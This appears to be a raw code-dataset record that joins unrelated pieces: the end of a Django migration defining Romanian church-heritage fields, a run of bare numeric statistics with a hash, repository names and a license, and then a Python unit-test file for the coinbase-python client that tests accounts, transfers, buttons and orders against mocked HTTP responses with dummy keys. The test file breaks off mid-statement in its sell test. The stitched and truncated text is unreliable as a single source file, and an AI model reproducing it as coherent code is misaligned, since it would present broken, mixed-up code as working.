name='iconostas_naos_altar_numar_intrari', field=models.IntegerField(blank=True, null=True), ), migrations.AddField( model_name='historicalcomponentaartistica', name='iconostas_naos_altar_tip', field=models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='nomenclatoare.tipiconostas'), ), migrations.AddField( model_name='historicalcomponentaartistica', name='iconostas_pronaos_naos_detalii', field=models.TextField(blank=True, help_text='Particularități ale iconostasului ce merită a fi precizate (de urmărit care este standardul de iconostas în zonă și care sunt eventualele deviații de la standard', null=True), ), migrations.AddField( model_name='historicalcomponentaartistica', name='iconostas_pronaos_naos_numar_intrari', field=models.IntegerField(blank=True, null=True), ), migrations.AddField( model_name='historicalcomponentaartistica', name='iconostas_pronaos_naos_tip', field=models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='nomenclatoare.tipiconostas'), ), migrations.AddField( model_name='historicalcomponentaartistica', name='mobiliere', field=models.BooleanField(default=False, verbose_name='Mobilier / candelabre /lumânărare / sfeșnice'), ), migrations.AddField( model_name='historicalcomponentaartistica', name='mobiliere_detalii', field=models.TextField(blank=True, help_text='Mobilier / candelabre /lumânărare / sfeșnice', null=True), ), migrations.AddField( model_name='historicalcomponentaartistica', name='obiecte_de_cult', field=models.BooleanField(default=False), ), migrations.AddField( model_name='historicalcomponentaartistica', name='obiecte_de_cult_detalii', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='historicalcomponentaartistica', name='obiecte_instrainate', field=models.BooleanField(default=False, verbose_name='Obiecte de cult înstrăinate'), ), migrations.AddField( model_name='historicalcomponentaartistica', name='obiecte_instrainate_detalii', field=models.TextField(blank=True, help_text='Observații privind înstrăinarea obiectelor de cult aparținătoare bisericii ', null=True), ), migrations.AddField( model_name='historicalcomponentaartistica', name='proscomidie', field=models.BooleanField(default=False, verbose_name='Proscomidie în exteriorul altarului'), ), migrations.AlterField( model_name='descriere', name='elemente', field=models.ManyToManyField(blank=True, help_text='Elemente ansamblu construit', to='nomenclatoare.ElementBiserica'), ), migrations.AlterField( model_name='descriere', name='elemente_importante', field=models.ManyToManyField(blank=True, help_text='Elemente ansamblu construit', to='nomenclatoare.ElementImportant'), ), migrations.AlterField( model_name='descriere', name='materiale', field=models.ManyToManyField(blank=True, help_text='Materiale folosite in construcția bisericii', to='nomenclatoare.Material'), ), migrations.AlterField( model_name='descriere', name='peisagistica_sitului', field=models.ManyToManyField(blank=True, to='nomenclatoare.PeisagisticaSit'), ), migrations.AlterField( model_name='finisaj', name='finisaj_exterior_tip', field=models.ManyToManyField(blank=True, to='nomenclatoare.FinisajExterior'), ), migrations.AlterField( model_name='istoric', name='ctitori', field=models.ManyToManyField(blank=True, related_name='ctitor', through='nomenclatoare.CtitorBiserica', to='nomenclatoare.Persoana'), ), migrations.AlterField( model_name='istoric', name='evenimente', field=models.ManyToManyField(blank=True, through='nomenclatoare.EvenimentBiserica', to='nomenclatoare.Eveniment'), ), migrations.AlterField( model_name='istoric', name='mesteri', field=models.ManyToManyField(blank=True, related_name='mester', through='nomenclatoare.MesterBiserica', to='nomenclatoare.Persoana'), ), migrations.AlterField( model_name='istoric', name='mutari_biserica', field=models.ManyToManyField(blank=True, through='nomenclatoare.MutareBiserica', to='nomenclatoare.Localitate'), ), migrations.AlterField( model_name='istoric', name='personalitati', field=models.ManyToManyField(blank=True, related_name='personalitate', through='nomenclatoare.PersonalitateBiserica', to='nomenclatoare.Persoana'), ), migrations.AlterField( model_name='istoric', name='zugravi', field=models.ManyToManyField(blank=True, related_name='zugrav', through='nomenclatoare.ZugravBiserica', to='nomenclatoare.Persoana'), ), migrations.CreateModel( name='PicturaInterioara', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('localizare_detalii', models.TextField(blank=True, null=True)), ('numar_straturi_pictura', models.IntegerField(blank=True, null=True)), ('anul_picturii', models.IntegerField(blank=True, null=True)), ('datare_prin_interval_timp', models.CharField(blank=True, max_length=50, null=True)), ('datare_detalii', models.TextField(blank=True, null=True)), ('componenta_artistica', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='biserici.componentaartistica')), ('datare_secol', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='localizari_interioare', to='nomenclatoare.secol')), ('localizare', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='localizari_interioare', to='nomenclatoare.localizarepictura')), ('sursa_datare', models.ManyToManyField(blank=True, related_name='componente_artistice_interioare', to='nomenclatoare.SursaDatare')), ('tehnica', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='nomenclatoare.tehnicapictura')), ], ), migrations.CreateModel( name='PicturaExterioara', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('localizare_detalii', models.TextField(blank=True, null=True)), ('numar_straturi_pictura', models.IntegerField(blank=True, null=True)), ('anul_picturii', models.IntegerField(blank=True, null=True)), ('datare_prin_interval_timp', models.CharField(blank=True, max_length=50, null=True)), ('datare_detalii', models.TextField(blank=True, null=True)), ('componenta_artistica', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='biserici.componentaartistica')), ('datare_secol', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='localizari_exterioare', to='nomenclatoare.secol')), ('localizare', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='localizari_exterioare', to='nomenclatoare.localizarepictura')), ('sursa_datare', models.ManyToManyField(blank=True, related_name='componente_artistice_exterioare', to='nomenclatoare.SursaDatare')), ('tehnica', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='nomenclatoare.tehnicapictura')), ], ), migrations.CreateModel( name='HistoricalPicturaInterioara', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('localizare_detalii', models.TextField(blank=True, null=True)), ('numar_straturi_pictura', models.IntegerField(blank=True, null=True)), ('anul_picturii', models.IntegerField(blank=True, null=True)), ('datare_prin_interval_timp', models.CharField(blank=True, max_length=50, null=True)), ('datare_detalii', models.TextField(blank=True, null=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('componenta_artistica', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='biserici.componentaartistica')), ('datare_secol', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='nomenclatoare.secol')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('localizare', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='nomenclatoare.localizarepictura')), ('tehnica', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='nomenclatoare.tehnicapictura')), ], options={ 'verbose_name': 'historical pictura interioara', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='HistoricalPicturaExterioara', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('localizare_detalii', models.TextField(blank=True, null=True)), ('numar_straturi_pictura', models.IntegerField(blank=True, null=True)), ('anul_picturii', models.IntegerField(blank=True, null=True)), ('datare_prin_interval_timp', models.CharField(blank=True, max_length=50, null=True)), ('datare_detalii', models.TextField(blank=True, null=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('componenta_artistica', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='biserici.componentaartistica')), ('datare_secol', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='nomenclatoare.secol')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('localizare', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='nomenclatoare.localizarepictura')), ('tehnica', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='nomenclatoare.tehnicapictura')), ], options={ 'verbose_name': 'historical pictura exterioara', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), ]
58.497207
233
0.655095
2,019
20,942
6.610203
0.109955
0.051926
0.068935
0.080923
0.914881
0.914881
0.899595
0.85269
0.832309
0.790274
0
0.003214
0.227342
20,942
357
234
58.661064
0.821581
0.002197
0
0.837607
1
0.011396
0.29798
0.136068
0
0
0
0
0
1
0
false
0
0.017094
0
0.025641
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
2c06d6cc22a6de75a15c206705d8ed65e98dd0e7
39,379
py
Python
tests/test_model.py
peterldowns/coinbase-python
6f36065bf9e60525511a47826b434e4a4ffa42b7
[ "MIT" ]
3
2018-08-17T04:58:24.000Z
2020-05-17T02:19:07.000Z
tests/test_model.py
ashishb/coinbase-python
f84c4a37b4d13df10ffc970ac8dfdf3123e768fe
[ "MIT" ]
null
null
null
tests/test_model.py
ashishb/coinbase-python
f84c4a37b4d13df10ffc970ac8dfdf3123e768fe
[ "MIT" ]
2
2015-07-29T19:05:07.000Z
2018-10-08T20:44:31.000Z
# coding: utf-8 from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import json import re import unittest2 import warnings import httpretty as hp from coinbase.client import Client from coinbase.client import OAuthClient from coinbase.error import APIError from coinbase.error import TwoFactorTokenRequired from coinbase.error import UnexpectedDataFormatError from coinbase.model import APIObject from coinbase.model import Account from coinbase.model import Address from coinbase.model import Button from coinbase.model import Money from coinbase.model import Order from coinbase.model import Transaction from coinbase.model import Transfer # Hide all warning output. warnings.showwarning = lambda *a, **k: None # Dummy API key values for use in tests api_key = 'fakeapikey' api_secret = 'fakeapisecret' client_id = 'fakeid' client_secret = 'fakesecret' access_token = 'fakeaccesstoken' refresh_token = 'fakerefreshtoken' class TestAccount(unittest2.TestCase): @hp.activate def test_delete(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): self.assertTrue(uri.endswith(account.id)) self.assertEqual(request.body.decode(), '') return (200, headers, json.dumps(data)) hp.register_uri(hp.DELETE, re.compile('.*'), body=server_response) data = {'success': False} with self.assertRaises(APIError): account.delete() data = {'success': True} self.assertIsNone(account.delete()) @hp.activate def test_set_primary(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' account.primary = None def server_response(request, uri, headers): self.assertTrue(uri.endswith('%s/primary' % account.id)) self.assertEqual(request.body.decode(), '') return (200, headers, json.dumps(data)) hp.register_uri(hp.POST, re.compile('.*'), body=server_response) data = {'success': False} with self.assertRaises(APIError): account.set_primary() self.assertIsNone(account.primary) # Primary status should not have changed. data = {'success': True} account.set_primary() self.assertTrue(account.primary) # Primary status should have changed. @hp.activate def test_modify(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' account.name = initial_name = 'Wallet' def server_response(request, uri, headers): self.assertTrue(uri.endswith(account.id)) try: request_data = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") name = request_data.get('account', {}).get('name') assert name == new_name return (200, headers, json.dumps(data)) new_name = 'Vault' data = {'success': False, 'account': {'name': new_name}} hp.register_uri(hp.PUT, re.compile('.*'), body=server_response) with self.assertRaises(APIError): account.modify(new_name) self.assertEqual(account.name, initial_name) data = {'success': True, 'account': {'name': new_name}} account.modify(new_name) self.assertEqual(account.name, new_name) data = {'success': True, 'account': 'nottherighttype'} with self.assertRaises(UnexpectedDataFormatError): account.modify(new_name) @hp.activate def test_get_balance(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' account.balance = initial_balance = lambda: None # Initial value def server_response(request, uri, headers): self.assertTrue(uri.endswith('%s/balance' % account.id)) self.assertEqual(request.body.decode(), '') return (200, headers, json.dumps(data)) data = {'currency': 'USD', 'amount': '10.00'} hp.register_uri(hp.GET, re.compile('.*'), body=server_response) balance = account.get_balance() self.assertIsInstance(balance, Money) # Fetching the current balance should not modify the balance attribute on # the Account object. self.assertEqual(account.balance, initial_balance) @hp.activate def test_get_address(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): self.assertTrue(uri.endswith('%s/address' % account.id)) self.assertEqual(request.body.decode(), '') return (200, headers, json.dumps(data)) hp.register_uri(hp.GET, re.compile('.*'), body=server_response) data = {'address': 'a', 'callback_url': None, 'label': None, 'success': False} with self.assertRaises(APIError): account.get_address() data = {'badkey': 'bar', 'success': True} with self.assertRaises(UnexpectedDataFormatError): account.get_address() data = {'address': 'a', 'callback_url': None, 'label': None, 'success': True} address = account.get_address() self.assertIsInstance(address, Address) @hp.activate def test_get_addresses(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") data = { 'total_count': 3, 'current_page': 1, 'num_pages': 1, 'addresses': [ {'address': { 'label': '', 'address': 'foo', 'callback_url': '', 'id': '1' }}, {'address': { 'label': '', 'address': 'foo', 'callback_url': '', 'id': '2' }}, {'address': { 'label': '', 'address': 'foo', 'callback_url': '', 'id': '3' }}, ], } return (200, headers, json.dumps(data)) hp.register_uri(hp.GET, re.compile('.*'), body=server_response) response = account.get_addresses() self.assertIsInstance(response, APIObject) self.assertEqual(len(response.addresses), 3) for address in response.addresses: self.assertIsInstance(address, Address) @hp.activate def test_create_address(self): def server_response(request, uri, headers): try: request_data = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") address = request_data.get('address') assert isinstance(address, dict) if label is not None: assert address.get('label') == label if callback_url is not None: assert address.get('callback_url') == callback_url return (200, headers, json.dumps(data)) account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' hp.register_uri(hp.POST, re.compile('.*'), body=server_response) label, callback_url = ('label', 'http://example.com/') data = {'success': False, 'address': 'foo', 'label': label, 'callback_url': callback_url} with self.assertRaises(APIError): account.create_address(label, callback_url) label, callback_url = ('label', 'http://example.com/') data = {'success': True, 'arbkey': 'bar'} with self.assertRaises(UnexpectedDataFormatError): account.create_address(label, callback_url) label, callback_url = ('label', 'http://example.com/') data = {'success': True, 'address': 'foo', 'label': label, 'callback_url': callback_url} address = account.create_address(label, callback_url) self.assertIsInstance(address, Address) label, callback_url = (None, None) data = {'success': True, 'address': 'foo', 'label': label, 'callback_url': callback_url} address = account.create_address() self.assertIsInstance(address, Address) @hp.activate def test_get_transactions(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") data = { 'total_count': 3, 'current_page': 1, 'num_pages': 1, 'transactions': [ {'transaction': {'id': '1'}}, {'transaction': {'id': '2'}}, {'transaction': {'id': '3'}}, ], } return (200, headers, json.dumps(data)) hp.register_uri(hp.GET, re.compile('.*'), body=server_response) response = account.get_transactions() self.assertIsInstance(response, APIObject) self.assertEqual(len(response.transactions), 3) for transaction in response.transactions: self.assertIsInstance(transaction, Transaction) @hp.activate def test_get_transaction(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") return (200, headers, json.dumps(data)) transaction_id = 'faketransactionid' hp.register_uri(hp.GET, re.compile('.*'), body=server_response) data = {'missing_transaction_key': True} with self.assertRaises(UnexpectedDataFormatError): account.get_transaction(transaction_id) data = {'transaction': 'not-the-right-type'} with self.assertRaises(UnexpectedDataFormatError): account.get_transaction(transaction_id) data = {'transaction': {'id': '1'}} transaction = account.get_transaction(transaction_id) self.assertIsInstance(transaction, Transaction) @hp.activate def test_transfer_money(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' base_kwargs = { 'to_account_id': 'fake-account-id', 'amount': '12.0 BTC', } with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update(amount=None, amount_string=None, amount_currency_iso=None) account.transfer_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update( amount='12.0', amount_string=None, amount_currency_iso='USD') account.transfer_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update( amount='12.0', amount_string='12.0', amount_currency_iso=None) account.transfer_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update( amount='12.0', amount_string='12.0', amount_currency_iso='USD') account.transfer_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update(amount=None, amount_string=None, amount_currency_iso='USD') account.transfer_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update(amount=None, amount_string='12.0', amount_currency_iso=None) account.transfer_money(**kwargs) def server_response(request, uri, headers): try: req = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") tx_data = req.get('transaction') self.assertIsInstance(tx_data, dict) self.assertEqual(len(tx_data), len(kwargs)) return (200, headers, json.dumps(data)) hp.register_uri(hp.POST, re.compile('.*'), body=server_response) with self.assertRaises(APIError): data = {'success': False, 'transaction': {'id': '1'}} kwargs = base_kwargs.copy() account.transfer_money(**kwargs) with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'transaction': 'wrong-type'} kwargs = base_kwargs.copy() account.transfer_money(**kwargs) with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'missing-transaction-key': True} kwargs = base_kwargs.copy() account.transfer_money(**kwargs) data = {'success': True, 'transaction': {'id': '1'}} kwargs = base_kwargs.copy() tx = account.transfer_money(**kwargs) self.assertIsInstance(tx, Transaction) @hp.activate def test_send_money(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' base_kwargs = { 'to_btc_address': 'some-btc-address', 'amount': '12.0 BTC', } with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update(amount=None, amount_string=None, amount_currency_iso=None) account.send_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update( amount='12.0', amount_string=None, amount_currency_iso='USD') account.send_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update( amount='12.0', amount_string='12.0', amount_currency_iso=None) account.send_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update( amount='12.0', amount_string='12.0', amount_currency_iso='USD') account.send_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update(amount=None, amount_string=None, amount_currency_iso='USD') account.send_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update(amount=None, amount_string='12.0', amount_currency_iso=None) account.send_money(**kwargs) def server_response(request, uri, headers): try: req = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") tx_data = req.get('transaction') self.assertIsInstance(tx_data, dict) self.assertEqual(len(tx_data), len(kwargs)) return (200, headers, json.dumps(data)) hp.register_uri(hp.POST, re.compile('.*'), body=server_response) with self.assertRaises(APIError): data = {'success': False, 'transaction': {'id': '1'}} kwargs = base_kwargs.copy() account.send_money(**kwargs) with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'transaction': 'wrong-type'} kwargs = base_kwargs.copy() account.send_money(**kwargs) with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'missing-transaction-key': True} kwargs = base_kwargs.copy() account.send_money(**kwargs) data = {'success': True, 'transaction': {'id': '1'}} kwargs = base_kwargs.copy() tx = account.send_money(**kwargs) self.assertIsInstance(tx, Transaction) oauth_account = Account( OAuthClient(client_id, client_secret, access_token, refresh_token)) oauth_account.id = 'fakeaccountid' hp.reset() def server_response(request, uri, headers): try: req = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") tx_data = req.get('transaction') self.assertIsInstance(tx_data, dict) if two_factor_token: self.assertEqual(request.headers.get('CB-2FA-Token'), two_factor_token) self.assertIsNone(tx_data.get('CB-2FA-Token')) return (200, headers, json.dumps(data)) return (402, headers, '') hp.register_uri(hp.POST, re.compile('.*'), body=server_response) kwargs = base_kwargs.copy() kwargs['two_factor_token'] = two_factor_token = None with self.assertRaises(TwoFactorTokenRequired): oauth_account.send_money(**kwargs) kwargs['two_factor_token'] = two_factor_token = 'sometoken' tx = oauth_account.send_money(**kwargs) self.assertIsInstance(tx, Transaction) @hp.activate def test_request_money(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' base_kwargs = { 'from_email_address': 'some-btc-address', 'amount': '12.0 BTC', } with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update(amount=None, amount_string=None, amount_currency_iso=None) account.request_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update( amount='12.0', amount_string=None, amount_currency_iso='USD') account.request_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update( amount='12.0', amount_string='12.0', amount_currency_iso=None) account.request_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update( amount='12.0', amount_string='12.0', amount_currency_iso='USD') account.request_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update(amount=None, amount_string=None, amount_currency_iso='USD') account.request_money(**kwargs) with self.assertRaises(ValueError): kwargs = base_kwargs.copy() kwargs.update(amount=None, amount_string='12.0', amount_currency_iso=None) account.request_money(**kwargs) def server_response(request, uri, headers): try: req = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") tx_data = req.get('transaction') self.assertIsInstance(tx_data, dict) self.assertEqual(len(tx_data), len(kwargs)) return (200, headers, json.dumps(data)) hp.register_uri(hp.POST, re.compile('.*'), body=server_response) with self.assertRaises(APIError): data = {'success': False, 'transaction': {'id': '1'}} kwargs = base_kwargs.copy() account.request_money(**kwargs) with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'transaction': 'wrong-type'} kwargs = base_kwargs.copy() account.request_money(**kwargs) with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'missing-transaction-key': True} kwargs = base_kwargs.copy() account.request_money(**kwargs) data = {'success': True, 'transaction': {'id': '1'}} kwargs = base_kwargs.copy() tx = account.request_money(**kwargs) self.assertIsInstance(tx, Transaction) @hp.activate def test_get_transfers(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") return (200, headers, json.dumps(data)) hp.register_uri(hp.GET, re.compile('.*'), body=server_response) data = { 'total_count': 3, 'current_page': 1, 'num_pages': 1, 'transfers': [ {'transfer': {'id': '1'}}, {'transfer': {'id': '2'}}, {'transfer': {'id': '3'}}, ], } response = account.get_transfers() self.assertIsInstance(response, APIObject) self.assertEqual(len(response.transfers), 3) for transfer in response.transfers: self.assertIsInstance(transfer, Transfer) @hp.activate def test_get_transfer(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") return (200, headers, json.dumps(data)) transfer_id = 'faketransferid' hp.register_uri(hp.GET, re.compile('.*'), body=server_response) data = {'missing_transfer_key': True} with self.assertRaises(UnexpectedDataFormatError): account.get_transfer(transfer_id) data = {'transfer': 'not-the-right-type'} with self.assertRaises(UnexpectedDataFormatError): account.get_transfer(transfer_id) data = {'transfer': {'id': '1'}} transfer = account.get_transfer(transfer_id) self.assertIsInstance(transfer, Transfer) @hp.activate def test_get_button(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' button_code = 'fakebuttoncode' def server_response(request, uri, headers): self.assertEqual(request.body.decode(), '') return (200, headers, json.dumps(data)) hp.register_uri(hp.GET, re.compile('.*'), body=server_response) data = {'button': 'not-the-right-type'} with self.assertRaises(UnexpectedDataFormatError): account.get_button(button_code) data = {'missing-button-key': True} with self.assertRaises(UnexpectedDataFormatError): account.get_button(button_code) data = {'button': {'code': button_code}} button = account.get_button(button_code) self.assertIsInstance(button, Button) data = {'badkey': 'bar', 'success': True} with self.assertRaises(UnexpectedDataFormatError): account.get_address() data = {'address': 'a', 'callback_url': None, 'label': None, 'success': True} address = account.get_address() self.assertIsInstance(address, Address) @hp.activate def test_create_button(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): try: request_data = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") button_data = request_data.get('button') self.assertIsInstance(button_data, dict) for key in ['name', 'price_string', 'price_currency_iso']: self.assertTrue(key in button_data) return (200, headers, json.dumps(data)) hp.register_uri(hp.POST, re.compile('.*'), body=server_response) name = 'b-name' price_string = 'b-price' price_currency_iso = 'BTC' with self.assertRaises(APIError): data = { 'success': False, 'button': { 'name': name, 'price_string': price_string, 'price_currency_iso': price_currency_iso, }, } account.create_button(name, price_string, price_currency_iso) with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'button': 'wrong-type'} account.create_button(name, price_string, price_currency_iso) with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'missing-button-key': True} account.create_button(name, price_string, price_currency_iso) data = { 'success': True, 'button': { 'name': name, 'price_string': price_string, 'price_currency_iso': price_currency_iso, }, } button = account.create_button(name, price_string, price_currency_iso) self.assertIsInstance(button, Button) @hp.activate def test_get_orders(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") return (200, headers, json.dumps(data)) hp.register_uri(hp.GET, re.compile('.*'), body=server_response) data = { 'total_count': 3, 'current_page': 1, 'num_pages': 1, 'orders': [ {'order': {'id': '1'}}, {'order': {'id': '2'}}, {'order': {'id': '3'}}, ], } response = account.get_orders() self.assertIsInstance(response, APIObject) self.assertEqual(len(response.orders), 3) for order in response.orders: self.assertIsInstance(order, Order) @hp.activate def test_get_order(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): try: json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") return (200, headers, json.dumps(data)) order_id = 'fakeorderid' hp.register_uri(hp.GET, re.compile('.*'), body=server_response) data = {'missing_order_key': True} with self.assertRaises(UnexpectedDataFormatError): account.get_order(order_id) data = {'order': 'not-the-right-type'} with self.assertRaises(UnexpectedDataFormatError): account.get_order(order_id) data = {'order': {'id': '1'}} order = account.get_order(order_id) self.assertIsInstance(order, Order) @hp.activate def test_create_order(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): try: request_data = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") button_data = request_data.get('button') self.assertIsInstance(button_data, dict) for key in ['name', 'price_string', 'price_currency_iso']: self.assertTrue(key in button_data) return (200, headers, json.dumps(data)) hp.register_uri(hp.POST, re.compile('.*'), body=server_response) name = 'b-name' price_string = 'b-price' price_currency_iso = 'BTC' with self.assertRaises(APIError): data = { 'success': False, 'order': { 'name': name, 'price_string': price_string, 'price_currency_iso': price_currency_iso, }, } account.create_order(name, price_string, price_currency_iso) with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'order': 'wrong-type'} account.create_order(name, price_string, price_currency_iso) with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'missing-order-key': True} account.create_order(name, price_string, price_currency_iso) data = { 'success': True, 'order': { 'name': name, 'price_string': price_string, 'price_currency_iso': price_currency_iso, }, } order = account.create_order(name, price_string, price_currency_iso) self.assertIsInstance(order, Order) @hp.activate def test_buy(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): try: request_data = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") self.assertEqual(request_data.get('account_id'), account.id) return (200, headers, json.dumps(data)) hp.register_uri(hp.POST, re.compile('.*'), body=server_response) with self.assertRaises(APIError): data = {'success': False, 'transfer': {'id': 'transferid'}} account.buy('1.0') with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'transfer': 'wrong-type'} account.buy('1.0') with self.assertRaises(UnexpectedDataFormatError): data = {'success': True, 'missing-transfer-key': True} account.buy('1.0') data = {'success': True, 'transfer': {'id': 'transferid'}} transfer = account.buy('1.0') self.assertIsInstance(transfer, Transfer) @hp.activate def test_sell(self): account = Account(Client(api_key, api_secret)) account.id = 'fakeaccountid' def server_response(request, uri, headers): try: request_data = json.loads(request.body.decode()) except ValueError: raise AssertionError("request body was malformed.") self.assertEqual(request_data.get('account_id'), account.id) return (200, headers, json.dumps(data)) hp.register_uri(hp.POST, re.compile('.*'), body=server_response) with self.assertRaises(APIError): data = {'success': False, 'transfer': {'id': 'transferid'}} account.sell('1.0') with self.assertRaises(UnexpectedDataFormatError): data = {'success': 